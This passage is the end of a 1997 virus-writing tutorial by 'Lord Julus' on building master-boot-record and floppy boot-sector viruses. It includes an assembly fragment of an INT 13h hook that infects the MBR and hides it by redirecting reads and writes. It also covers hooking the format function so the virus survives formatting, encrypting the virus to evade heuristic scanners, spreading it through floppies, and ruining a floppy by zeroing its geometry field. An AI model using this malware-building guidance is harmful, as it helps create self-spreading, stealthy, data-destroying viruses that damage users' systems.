            call dword ptr cs:[oldint13] ; then do the reading
            call check_infect            ; a call to a routine that should save
                                         ; all the register, check if the MBR
                                         ; at ES:BX is infected. If not, infect
                                         ; it.
            mov cx, 01h + sector_len     ; then redirect read or write
                                         ; to where the original MBR is
                                         ; and read it again !
           no:
            jmp dword ptr cs:[oldint13]

           We should also check if someone is trying to write to the MBR and
     redirect the write to the place where the original MBR is.

           So, if someone is trying to read from the MBR or write on the original
     MBR this procedure redirects the action to where the real MBR is saved. This
     offers a lot of strength: As the partition table is no longer there, the
     disk in invisible if booted from a floppy. But if it's booted from HDD,
     the virus is resident and the reads and writes are stealthed.
           There are two more functions one stealth routine should hook:

            - 0Ah - read long sectors
            - 0Bh - write long sectors

           These work almost like 02h and 03h with this difference: 0Ah reads one
     or more sectors plus 4 more bytes representing the ECC (error correction
     code) code for that sector. Same for 0Bh.
           Also, one must take care of the 05h function - format track, and do
     not allow the formatting of the tracks where the virus and the original MBR
     is. I didn't try this, but it should work. In this way, the virus stays on
     even if the HDD is formatted.

           3) Other ways
           ~~~~~~~~~~~~~

           As I said above, it is possible to write whatever you want to save on
     the HDD by putting the data in the second FAT or after the directory entry.
     The first FAT can be found and accessed via INT 25h/26h, with DX=1 (usually)
     and the second FAT can be found with DX = 1 + Sectors/FAT. After a number
     of sectors equal to 1 + 2*Sectors/FAT we have the directory root entry.
     However I would not recommend using these two areas. First because in order
     to infect you need to use interrupts 25h and 26h, which are disabled in
     Windows 95 and because of the data loss that may occur. Therefore, I would
     say that the space after the MBR is the best place to put your data

     .-----------------.
     |  More to it     |
     '-----------------'

           One issue that everybody should be aware of is that MBR heuristic
     analyzers are very good these days. This means that if you decide to make
     a Partition Table non-remover, leaving the Drive C accessible when booted
     from floppy disks, you should consider a good encryption algorithm with
     some anti-heuristic routines. This is done as easy as it's done in files:

            - copy virus to end of code
            - encrypt it
            - copy it to host (drive / file)

           Another very important thing is to have the virus infect floppies.
     Actually this is the most important thing because it assures the virus'
     spreading. In order to infect a floppy disk the things go exactly like
     when writing a MBR mover for HDD. On floppy disks there is no partition
     table, therefore no MBR. The Boot Layout is the same. In order to save
     the original boot one should do this:

           - read the original boot into a buffer
           - read the Number of Root Directory Entries
           - Multiply it by 32
           - Divide it by 512

           Now you have the first free sector after the Root Directory Table.
     There is a perfect place to save the original Boot on that sector. Knowing
     that when INT 13 is called the DL register holds the drive (80h if HDD) you
     can do some comparisons and make a separate procedure for infecting
     different kind of floppies. If you want your virus to be faster, figure out
     the sector you should write the boot to and consider that it's always the
     same (for example I have a 18 sectors/track with 224 directory entries
     floppy, with the directory entry area being at C:0, H:0, S:1. So
     224*32/512 = 14. This means that from (0,1,14) I have a free area where I
     can copy the original boot.
           You can also choose other areas to put the original copy of the boot
     on, like for example on the last cylinder, last head, last sector and then
     mark that sector as BAD.
           One thing about floppy disks: Beware to save the original 20h bytes
     and leave them intact on the floppy. There we have the Boot Record. If you
     put trash there, the disk won't be readable. You can even destroy the disk
     forever if you put a 0 in the Sectors/Track. If you do this and try to
     access the floppy there is no program on Earth that will be able to read
     your diskette. You'll get a 'Divide Overflow' or 'Division by 0' and you
     can send the floppy disk on a nice trip towards the trashcan...

     .-----------------.
     |  The Future     |
     '-----------------'

           As for the future, what can I say ? God knows...
           Anyway, a while ago some guy came up with a very neat technique to
     read/write from/to HDD using only the HDD ports. It was absolutely beautiful!
     But when Windows 95 came along it all gone astray... This was the ultimate
     technique: to be able to simulate the Int 13 by doing what the Int actually
     does. In W95 the ports are mapped in a strange way, the interrupts don't
     work and everything is messed up. Anyway, the possibilities are still grand,
     but the thing we must think of is that we need a 'change'. A change of
     conception. We must start looking at the code now from a 32 byte point of
     view, we must forget about segments and start looking at selectors and
     so on... Anyway, as programmers say: "You know, there's always a leak !"

     .-----------------.
     |  Final word     |
     '-----------------'

           There were some very interesting tutorials written on the Boot
     infectors, but I always felt they don't make the perfect distinction
     between the Boot and the MBR. I can remember here Qark's tutorial,
     Executioner's, and of course one of the first, Dark Angel's tutorial
     to Boot viruses. Well, hoping that I wasn't very redundant in my writings
     I hope you all learned something from it. If any of you come over a mistake
     I made in my writing I would appreciate your help.
     (e-mail me at: lordjulus@geocities.com). Thanx.

           You can always find my articles at:

                    http://members.tripod.com/~lordjulus

           All the Best to U and all,

                                                     .--------------------.
                                                     |  Lord Julus - 1997 |
                                                     '--------------------'

      Many thanx go to: Qark, Quantum, Dark Angel, Executioner, Mr.Sandman,
                        Darkman, Hellraiser, Dark Avenger
                                                            Lord Julus - 1997